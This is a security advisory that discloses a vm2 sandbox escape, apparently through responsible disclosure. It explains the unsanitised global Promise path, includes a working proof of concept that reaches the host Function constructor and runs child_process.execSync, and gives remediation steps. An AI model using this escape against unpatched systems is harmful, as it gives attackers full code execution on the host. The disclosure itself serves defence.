Discovered and reported by Goldberg Security Research. Responsibly disclosed to the maintainer; patched in 3.10.2.
The short version
vm2 sanitises Promise.prototype.then and .catch callbacks on the
local (sandbox) Promise — but async functions return a
global Promise whose callbacks are not sanitised at all. Catch the right
error on that unsanitised path and you get a host-realm Error constructor,
from which you get a host Function constructor, from which you get
child_process.execSync. Seven lines of sandbox code to full host RCE.
Root cause
In lib/setup-sandbox.js, vm2 wraps localPromise.prototype.then
to sanitise the callback arguments before they can touch host-realm values. But V8 has
two Promise constructors in play inside vm2: the local (sandbox) one and
the global (host) one. Async functions — async () =>
... — return a globalPromise, not a localPromise.
globalPromise.prototype.then and .catch are the real, unwrapped
host methods. No sanitisation. No interception. The callback receives whatever the Promise
rejects with, raw.
The escape
The trick is getting a host-realm object into the rejection value. An Error
with error.name set to a Symbol() forces the .stack
getter to throw a host-realm TypeError when it tries to concatenate the name.
Wrap that in an async function, catch it on the unsanitised global Promise path, and the
callback receives a live host Error object:
const error = new Error();
error.name = Symbol(); // forces .stack to throw a host TypeError
const f = async () => error.stack; // async → globalPromise (unsanitised)
const promise = f();
promise.catch(e => {
const Error = e.constructor; // host-realm Error
const Function = Error.constructor; // host-realm Function
const run = new Function(
"process.mainModule.require('child_process').execSync('id')"
);
run(); // host RCE
});
e.constructor is the host Error. Its .constructor
is the host Function. new Function(code) compiles and runs
arbitrary code in the host realm. Game over.
Why this matters
This is a pattern we keep finding in vm2: the sandbox has two parallel sets of built-in prototypes (local vs. global), and the sanitisation is applied to one but not the other. Our other escape (CVE-2026-93606) exploits the same architectural gap in a different way — species neutralisation on the sandbox Promise but not on host-realm Promises crossing the bridge.
The deeper lesson: same-process sandboxing in a language as dynamic as JavaScript is fighting the spec itself. Every path that V8 provides for crossing between realms is a potential escape route, and the sandbox has to catch all of them. The attacker only needs to find one.
Remediation
- Upgrade to vm2 ≥ 3.10.2.
- Consider migrating to
isolated-vmor a separate-process sandbox. Same-process JS sandboxes have a structural disadvantage against determined attackers — vm2's escape history demonstrates this consistently.
Related
- CVE-2026-93606 — vm2 Sandbox Escape via Promise Species Hijack — our other vm2 escape, exploiting the same local/global Promise gap through a different mechanism.